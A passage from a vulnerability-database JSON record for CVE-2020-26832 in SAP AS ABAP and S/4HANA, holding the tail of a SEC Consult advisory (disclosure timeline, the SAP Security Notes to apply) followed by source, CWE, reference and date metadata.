Additional\n information is provided describing that a patch for the second issue\n is still in development. \n2021-01-12 | Vendor releases first patch with SAP Security Note 2999854. \n2021-05-07 | Asking vendor for update regarding the second issue. \n2021-05-11 | Vendor informs that fix is in progress and note will be released soon. \n2021-06-07 | Vendor informs about release of the second patch, registration of CVE\n number and corresponding security note. \n2021-06-08 | Vendor releases second patch with SAP Security Note 3002517. \n\n\nCVE-2021-33678\n--------------------------------\n2021-02-01 | Contacting vendor with detailed report through vulnerability\n submission web form. \n2021-02-03 | Vendor confirms receipt and assigns security incident number\n #2180074995. \n2021-05-07 | Asking vendor for update. \n2021-05-11 | Vendor informs that fix is in progress. \n2021-07-12 | Vendor informs about release of the patch, registration of CVE\n number and corresponding security note. \n2021-07-13 | Vendor releases patch with SAP Security Note 3048657. \n\n\nSolution:\n---------\nSAP SE reacted promptly to our findings. Product Security Incident Response\nTeam (PSRT) and engineers released patches in a timely manner for each of\nthe reported issues. These patches are available in form of SAP Security\nNotes which can be accessed via the SAP Customer Launchpad [5]. More\ninformation can also be found at the Official SAP Product Security Response\nSpace [6]. \n\nThe following Security Notes need to be implemented:\n\n2958563, 2973735, 2993132, 2986980, 2999854, 3002517, 3048657\n\n[5] https://launchpad.support.sap.com/#/securitynotes\n[6] https://wiki.scn.sap.com/wiki/display/PSR/SAP+Security+Patch+Day\n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\n\nSEC Consult, an Atos company\nEurope | Asia | North America\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos company. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers. \nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies. \n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your application https://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local offices https://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb: https://www.sec-consult.com\nBlog: http://blog.sec-consult.com\nTwitter: https://twitter.com/sec_consult\n\nEOF F. Hagg, A. Meier / @2022\n\n",
"sources": [
{
"db": "NVD",
"id": "CVE-2020-26832"
},
{
"db": "JVNDB",
"id": "JVNDB-2020-014085"
},
{
"db": "VULMON",
"id": "CVE-2020-26832"
},
{
"db": "PACKETSTORM",
"id": "167229"
}
],
"trust": 1.8
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2020-26832",
"trust": 2.6
},
{
"db": "PACKETSTORM",
"id": "167229",
"trust": 1.8
},
{
"db": "JVNDB",
"id": "JVNDB-2020-014085",
"trust": 0.8
},
{
"db": "CXSECURITY",
"id": "WLB-2022050077",
"trust": 0.6
},
{
"db": "CNNVD",
"id": "CNNVD-202012-571",
"trust": 0.6
},
{
"db": "VULMON",
"id": "CVE-2020-26832",
"trust": 0.1
}
],
"sources": [
{
"db": "VULMON",
"id": "CVE-2020-26832"
},
{
"db": "JVNDB",
"id": "JVNDB-2020-014085"
},
{
"db": "PACKETSTORM",
"id": "167229"
},
{
"db": "CNNVD",
"id": "CNNVD-202012-571"
},
{
"db": "NVD",
"id": "CVE-2020-26832"
}
]
},
"id": "VAR-202012-0380",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "VARIoT devices database",
"id": null
}
],
"trust": 0.19642857
},
"last_update_date": "2022-05-24T20:01:40.998000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "SAP\u00a0Security\u00a0Patch\u00a0Day\u00a0-\u00a0December\u00a02020",
"trust": 0.8,
"url": "https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageid=564757079"
},
{
"title": "SAP AS ABAP and SAP S4 HANA Security vulnerabilities",
"trust": 0.6,
"url": "http://www.cnnvd.org.cn/web/xxk/bdxqbyid.tag?id=136439"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2020-014085"
},
{
"db": "CNNVD",
"id": "CNNVD-202012-571"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-862",
"trust": 1.0
},
{
"problemtype": "Lack of authentication (CWE-862) [NVD Evaluation ]",
"trust": 0.8
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2020-014085"
},
{
"db": "NVD",
"id": "CVE-2020-26832"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.4,
"url": "http://packetstormsecurity.com/files/167229/sap-application-server-abap-abap-platform-code-injection-sql-injection-missing-authorization.html"
},
{
"trust": 1.7,
"url": "https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageid=564757079"
},
{
"trust": 1.7,
"url": "https://launchpad.support.sap.com/#/notes/2993132"
},
{
"trust": 1.7,
"url": "http://seclists.org/fulldisclosure/2022/may/42"
},
{
"trust": 1.5,
"url": "https://nvd.nist.gov/vuln/detail/cve-2020-26832"
},
{
"trust": 0.6,
"url": "https://vigilance.fr/vulnerability/sap-multiple-vulnerabilities-of-december-2020-34054"
},
{
"trust": 0.6,
"url": "https://cxsecurity.com/issue/wlb-2022050077"
},
{
"trust": 0.6,
"url": "https://vigilance.fr/vulnerability/sap-multiple-vulnerabilities-of-april-2021-35059"
},
{
"trust": 0.1,
"url": "https://cwe.mitre.org/data/definitions/862.html"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2021-21468"
},
{
"trust": 0.1,
"url": "https://developers.sap.com/topics/abap-platform.html"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2021-21466"
},
{
"trust": 0.1,
"url": "https://help.sap.com/viewer/ff18034f08af4d7bb33894c2047c3b71/7.52.5/"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2021-21465"
},
{
"trust": 0.1,
"url": "http://blog.sec-consult.com"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2020-6318"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2021-33678"
},
{
"trust": 0.1,
"url": "https://www.sap.com/documents/2017/04/4666ecdd-b67c-0010-82c7-eda71"
},
{
"trust": 0.1,
"url": "https://www.sap.com"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2020-26808"
},
{
"trust": 0.1,
"url": "https://www.sec-consult.com"
},
{
"trust": 0.1,
"url": "https://www.sap.com/about/company.html"
},
{
"trust": 0.1,
"url": "https://sec-consult.com/vulnerability-lab/"
},
{
"trust": 0.1,
"url": "https://launchpad.support.sap.com/#/securitynotes"
},
{
"trust": 0.1,
"url": "https://twitter.com/sec_consult"
},
{
"trust": 0.1,
"url": "https://sec-consult.com/career/"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2021-21473"
},
{
"trust": 0.1,
"url": "https://sec-consult.com/contact/"
},
{
"trust": 0.1,
"url": "https://wiki.scn.sap.com/wiki/display/psr/sap+security+patch+day"
}
],
"sources": [
{
"db": "VULMON",
"id": "CVE-2020-26832"
},
{
"db": "JVNDB",
"id": "JVNDB-2020-014085"
},
{
"db": "PACKETSTORM",
"id": "167229"
},
{
"db": "CNNVD",
"id": "CNNVD-202012-571"
},
{
"db": "NVD",
"id": "CVE-2020-26832"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "VULMON",
"id": "CVE-2020-26832"
},
{
"db": "JVNDB",
"id": "JVNDB-2020-014085"
},
{
"db": "PACKETSTORM",
"id": "167229"
},
{
"db": "CNNVD",
"id": "CNNVD-202012-571"
},
{
"db": "NVD",
"id": "CVE-2020-26832"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2020-12-09T00:00:00",
"db": "VULMON",
"id": "CVE-2020-26832"
},
{
"date": "2021-07-27T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2020-014085"
},
{
"date": "2022-05-19T16:00:07",
"db": "PACKETSTORM",
"id": "167229"
},
{
"date": "2020-12-08T00:00:00",
"db": "CNNVD",
"id": "CNNVD-202012-571"
},
{
"date": "2020-12-09T17:15:00",
"db": "NVD",
"id": "CVE-2020-26832"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2022-05-19T00:00:00",
"db": "VULMON",
"id": "CVE-2020-26832"
},
{
"date": "2021-07-27T02:22:00",
"db": "JVNDB",
"id": "JVNDB-2020-014085"
},
{
"date": "2022-05-23T00:00:00",
"db": "CNNVD",
"id": "CNNVD-202012-571"
},
{
"date": "2022-05-19T18:15:00",
"db": "NVD",
"id": "CVE-2020-26832"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-202012-571"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "SAP\u00a0AS\u00a0ABAP\u00a0 and \u00a0SAP\u00a0S4\u00a0HANA\u00a0 Vulnerability in Microsoft",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2020-014085"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "other",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-202012-571"
}
],
"trust": 0.6
}
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.